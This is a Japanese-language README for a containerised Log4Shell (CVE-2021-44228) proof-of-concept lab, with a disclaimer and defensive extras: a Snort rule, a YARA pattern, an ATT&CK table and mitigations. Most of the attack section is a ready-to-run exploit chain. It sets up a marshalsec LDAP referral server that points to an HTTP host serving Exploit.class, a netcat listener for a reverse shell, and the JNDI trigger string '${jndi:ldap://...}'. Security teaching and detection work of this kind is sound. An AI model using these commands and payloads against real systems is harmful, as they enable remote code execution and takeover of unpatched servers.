
**Log4Shell PoC は、CVE-2021-44228 の脆弱性を再現するように設計された高忠実度のエクスプロイト環境です。** JNDI インジェクション、LDAP/RMI リファラルリダイレクション、および Log4j 2 ライブラリを介したリモートコード実行(RCE)を実証するためのコンテナ化されたサンドボックスを提供します。
██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗██╗ ██╗
██║ ██╔═══██╗██╔════╝ ██║ ██║██╔════╝██║ ██║██╔════╝██║ ██║
██║ ██║ ██║██║ ███╗███████║███████╗███████║█████╗ ██║ ██║
██║ ██║ ██║██║ ██║╚════██║╚════██║██╔══██║██╔══╝ ██║ ██║
███████╗╚██████╔╝╚██████╔╝ ██║███████║██║ ██║███████╗███████╗███████╗
╚══════╝ ╚═════╝ ╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
██████╗ ██████╗ ██████╗
██╔══██╗██╔═══██╗██╔════╝
██████╔╝██║ ██║██║
██╔═══╝ ██║ ██║██║
██║ ╚██████╔╝╚██████╔╝
╚═╝ ╚═════╝ ╚═════╝
⚡ LOG4SHELL (CVE-2021-44228) PoC LAB
[ 概念実証 & JNDI エクスプロイテーション ]
Log4Shell PoC は、CVE-2021-44228 の脆弱性を再現するために設計された高忠実度のエクスプロイト環境です。 Log4j 2 ライブラリを介した JNDI インジェクション、LDAP/RMI リファラルリダイレクション、およびリモートコード実行(RCE)を実証するためのコンテナ化されたサンドボックスを提供します。
教育および許可されたセキュリティテストの目的でのみ使用してください。
事前の相互同意なしに対象を攻撃するためにこの概念実証を使用することは違法です。エンドユーザーは、該当するすべての地域・州・連邦法を遵守する責任を負います。著者は、このプログラムによって引き起こされたデータ損失、システム損傷、法的影響、または誤用について、いかなる責任も負いません。このソフトウェアを使用することにより、お住まいの法域の法的境界内で操作することに同意したものとみなされます。
攻撃者側は、PoC を促進するための 3 つの異なるチャネルで構成されています。
Exploit.class バイトコードをホストします。脆弱な Log4j 実装を実行する Docker 化された OpenJDK 8 環境です。
タブ 1: LDAP リファラルサーバー
docker run --rm -it -p 1389:1389 maven:3.8.6-openjdk-8 /bin/bash -c "
git clone [https://github.com/mbechler/marshalsec.git](https://github.com/mbechler/marshalsec.git) && \
cd marshalsec && \
mvn clean package -DskipTests && \
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer '[http://172.17.0.1:8888/#Exploit](http://172.17.0.1:8888/#Exploit)' 1389"
タブ 2: HTTP ペイロード配信
# Exploit.class を含むディレクトリで Python サーバーを起動
python3 -m http.server --bind 0.0.0.0 8888
タブ 3: Netcat リスナー
nc -lvnp 9001
タブ 4: 脆弱なコンテナの起動
docker run --rm -it -v $(pwd):/app -w /app openjdk:8u121-jdk-alpine /bin/sh
コンテナ内で: PoC のトリガー
java -Dlog4j2.formatMsgNoLookups=false \
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
-cp ".:log4j-api-2.14.1.jar:log4j-core-2.14.1.jar" \
VulnerableLog '${jndi:ldap://172.17.0.1:1389/Exploit}'
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET EXPLOIT Possible Log4j RCE Attempt (jndi)"; content:"jndi|3a|"; nocase; sid:2034647; rev:1;)
rule Log4Shell_PoC_JNDI {
meta:
description = "Detects JNDI lookup strings in logs used in PoC"
author = "Apex Pro Framework"
strings:
$jndi = / \$\{jndi:(ldap|rmi|dns|nis|iiop|corba|lds):/ i
$obfuscated = /\$\{\$\{[^}]+\}ndi:/ i
condition:
any of them
}
| フェーズ | 手法 | アラート発動? | MITRE ATT&CK |
|---|---|---|---|
| 初期アクセス | 公開アプリケーションの悪用 | [ ] | T1190 |
| 実行 | コマンドおよびスクリプティングインタープリタ | [ ] | T1059 |
| コマンド&コントロール | アプリケーション層プロトコル(LDAP) | [ ] | T1071.003 |
| データ窃取 | 非アプリケーション層プロトコル | [ ] | T1048 |
-Dlog4j2.formatMsgNoLookups=true を設定してルックアップを無効にします。log4j-core JAR から JndiLookup.class を手動で削除します。172.17.0.0/16)にハードコードします。